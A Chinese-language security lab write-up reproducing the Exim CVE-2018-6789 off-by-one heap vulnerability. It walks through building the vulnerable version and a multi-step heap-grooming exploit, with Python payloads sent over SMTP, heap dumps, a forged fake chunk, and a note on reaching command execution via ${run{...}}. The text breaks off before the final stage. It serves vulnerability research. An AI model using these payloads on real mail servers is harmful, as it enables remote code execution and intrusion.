-
Exim Off-by-one(CVE-2018-6789)漏洞复现分析
作者:Hcamael@知道创宇404实验室
前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。
本次漏洞复现的过程中,踩了好多坑,实际复现的过程中发现堆块的实际情况无法像meh所说的那样的构造,所以在这部分卡了很久(猜测是因为环境不同的原因),之后决定先理解meh利用的大致思路,然后自己根据实际情况对堆块进行构造,虽然过程艰难,但最终基本算是成功了。
复现环境搭建
本次使用的环境和上次大致相同, 首先去github上该漏洞的patch commit[2]
然后把分支切换到上一个commit
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">$ git checkout </span><span class="lit">38e3d2dff7982736f1e6833e06d4aab4652f337a</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">$ cd src</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li></ol>Makefile仍然使用上次那个:
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ cat </span><span class="typ">Local</span><span class="pun">/</span><span class="pln">makefile </span><span class="pun">|</span><span class="pln"> grep </span><span class="pun">-</span><span class="pln">v </span><span class="str">"#"</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">BIN_DIRECTORY</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">CONFIGURE_FILE</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">configure</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">EXIM_USER</span><span class="pun">=</span><span class="pln">ubuntu</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">SPOOL_DIRECTORY</span><span class="pun">=/</span><span class="pln">var</span><span class="pun">/</span><span class="pln">spool</span><span class="pun">/</span><span class="pln">exim</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">ROUTER_ACCEPT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">ROUTER_DNSLOOKUP</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">ROUTER_IPLITERAL</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">ROUTER_MANUALROUTE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">ROUTER_QUERYPROGRAM</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">ROUTER_REDIRECT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">TRANSPORT_APPENDFILE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">TRANSPORT_AUTOREPLY</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">TRANSPORT_PIPE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">TRANSPORT_SMTP</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">LOOKUP_DBM</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">LOOKUP_LSEARCH</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">LOOKUP_DNSDB</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">PCRE_CONFIG</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">FIXED_NEVER_USERS</span><span class="pun">=</span><span class="pln">root</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">AUTH_CRAM_MD5</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">AUTH_PLAINTEXT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">AUTH_TLS</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">HEADERS_CHARSET</span><span class="pun">=</span><span class="str">"ISO-8859-1"</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">SUPPORT_TLS</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">TLS_LIBS</span><span class="pun">=-</span><span class="pln">lssl </span><span class="pun">-</span><span class="pln">lcrypto</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">SYSLOG_LOG_PID</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">EXICYCLOG_MAX</span><span class="pun">=</span><span class="lit">10</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">COMPRESS_COMMAND</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">gzip</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">COMPRESS_SUFFIX</span><span class="pun">=</span><span class="pln">gz</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">ZCAT_COMMAND</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">zcat</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">SYSTEM_ALIASES_FILE</span><span class="pun">=/</span><span class="pln">etc</span><span class="pun">/</span><span class="pln">aliases</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">EXIM_TMPDIR</span><span class="pun">=</span><span class="str">"/tmp"</span></code></li></ol>然后就是编译安装了:
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ make </span><span class="pun">-</span><span class="pln">j8</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">$ sudo make install</span></code></li></ol>启动也是跟上次一样,但是这里有一个坑点,开启debug,输出所有debug信息,不开debug,这些都堆的布局都会有影响。不过虽然有影响,但是只是影响构造的细节,总体的构造思路还是按照meh写的paper中那样。
本篇的复现,都是基于只输出部分debug信息的模式:
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code class="lang-sh"><span class="com"># 输出完整debug信息使用的是-bdf -d+all</span></code></li><li class="L2"><code class="lang-sh"><span class="com"># 不开启debug模式使用的是-bdf</span></code></li></ol>漏洞复现
因为我觉得meh的文章中,漏洞原理和相关函数的说明已经很详细,我也没啥要补充的,所以直接写我的复现过程
STEP 1
首先需要构造一个被释放的chunk,但是没必要像meh文章说的是一个0x6060大小的chunk,只需要满足几个条件:
这个chunk要被分为三个部分,一个部分是通过
store_get
获取,用来存放base64解码的数据,用来造成off by one
漏洞,覆盖下一个chunk的size,因为通过store_get
获取的chunk最小值是0x2000,然后0x10的堆头和0x10的exim自己实现的堆头,所以是一个至少0x2020的堆块。第二部分用来放
sender_host_name
,因为该变量的内存是通过store_malloc
获取的,所以没有大小限制第三部分因为需要构造一个fake chunk用来过free的检查,所以也是一个至少0x2020的堆块
和meh的方法不同,我通过
unrecognized command
来获取一个0x4041的堆块,然后通过EHLO
来释放:1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"\x7f"</span><span class="pun">*</span><span class="lit">4102</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO %s"</span><span class="pun">%(</span><span class="str">"c"</span><span class="pun">*(</span><span class="lit">0x2010</span><span class="pun">)))</span></code></li><li class="L2"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L3"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4041</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1e0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L0"><code class="lang-python"><span class="pun">}</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1d191c0</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4040</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L8"><code class="lang-python"><span class="pun">}</span></code></li></ol>0x1d15180是通过
unrecognized command
获取的一个0x4040大小的chunk,在执行完EHLO
命令后被释放, 然后0x1d191c0是inuse的sender_host_name
,这两部分就构成一个0x6060的chunkSTEP 2
现在的情况是
sender_host_name
位于0x6060大小chunk的最底部,而我们需要把它移到中间这部分的思路和meh的一样,首先通过
unrecognized command
占用顶部0x2020的chunk之前的文章分析过,
unrecognized command
申请内存的大小是ss = store_get(length + nonprintcount * 3 + 1);
通过计算,只需要让
length + nonprintcount * 3 + 1 > yield_length
,store_get
函数就会从malloc中申请一个chunk1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"\x7f"</span><span class="pun">*</span><span class="lit">0x800</span><span class="pun">)</span></code></li></ol>这个时候我们就能使用
EHLO
释放之前的sender_host_name
,然后重新设置,让sender_host_name
位于0x6060大小chunk的中部1<ol class="linenums"><li class="L0"><code><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO %s"</span><span class="pun">%(</span><span class="str">"c"</span><span class="pun">*(</span><span class="lit">0x2000</span><span class="pun">-</span><span class="lit">9</span><span class="pun">)))</span></code></li><li class="L1"><code><span class="com"># heap</span></code></li><li class="L2"><code><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191a0</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L9"><code><span class="pun">}</span></code></li><li class="L0"><code><span class="lit">0x1d171a0</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2000</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L7"><code><span class="pun">}</span></code></li><li class="L8"><code><span class="lit">0x1d191a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x63636363636363</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6061</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d15180</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">}</span></code></li><li class="L6"><code><span class="lit">0x1d1f200</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6060</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d27380</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636328</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L3"><code><span class="pun">}</span></code></li></ol>STEP 3
现在我们的堆布局是:
- 第一块未被使用的0x2020大小的chunk
- 第二块正在被使用0x2000大小的
sender_host_name
- 第三块未被使用,并且和之后堆块合并, 0x6060大小的chunk
我们现在再回过头来想想各个chunk的size的设置的问题
CHUNK 1
第一个chunk是用来触发
off by one
漏洞,用来修改第二个CHUNK的size位,只能溢出1bytestore_get
最小分配一个0x2020的chunk,能储存0x2000的数据这就导致了,如果按照
store_get
的最小情况来,只能溢出覆盖掉第二个chunk的pre_size位然后因为
(0x2008-1)%3==0
,所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据,size=0x2020的chunk,然后溢出一个字节到下一个chunk的size位CHUNK2
第二块chunk,我们首先需要考虑,因为只能修改一个字节,所以最大只能从0x00扩展到0xf0
其次,我们假设第二块chunk的原始size=0x2021,然后被修改成0x20f1,我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控,因为需要伪造一个fake chunk,来bypass free函数的安全检查。
经过多次调试,发现当第二块chunk的size=0x2001时,更方便后续的利用
CHUNK3
第三个chunk只要求大于一个
store_get
申请的最小size(0x2020)就行了STEP 4
根据第三步叙述的,我们来触发
off by one
漏洞1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">payload1 </span><span class="pun">=</span><span class="pln"> </span><span class="str">"HfHf"</span><span class="pun">*</span><span class="lit">0xaae</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="pln">payload1</span><span class="pun">[:-</span><span class="lit">1</span><span class="pun">])</span></code></li><li class="L3"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191b0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf11ddff11ddff11d</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span></code></li><li class="L1"><code class="lang-python"><span class="pun">}</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> PREV_INUSE IS_MMAPED </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li></ol>并且构造在第三块chunk中构造一个fake chunk
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">payload </span><span class="pun">=</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0x20f0</span><span class="pun">)+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x1f31</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">((</span><span class="pln">payload</span><span class="pun">*</span><span class="lit">484</span><span class="pun">).</span><span class="pln">encode</span><span class="pun">(</span><span class="str">"base64"</span><span class="pun">).</span><span class="pln">replace</span><span class="pun">(</span><span class="str">"\n"</span><span class="pun">,</span><span class="str">""</span><span class="pun">))</span></code></li><li class="L3"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191b0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf11ddff11ddff11d</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span></code></li><li class="L1"><code class="lang-python"><span class="pun">}</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf0</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li><li class="L8"><code class="lang-python"><span class="lit">0x1d1b1c0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4041</span><span class="pun">,</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520918288</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520918288</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1c0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1c0</span></code></li><li class="L5"><code class="lang-python"><span class="pun">}</span></code></li></ol>STEP 5
下一步跟meh一样,通过释放
sender_host_name
,把一个原本0x2000的chunk扩展成0x20f0, 但是却不触发smtp_reset
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO a+"</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d21240</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f30</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li></ol>STEP 6
meh提供了一种不需要泄露地址就能RCE的思路
exim有一个
expand_string
函数,当其处理的参数中有${run{xxxxx}}
,xxxx
则会被当成shell命令执行而
acl_check
函数中会对各个命令的配置进行检查,然后把配置信息的字符串调用expand_string
函数我复现环境的配置信息如下:
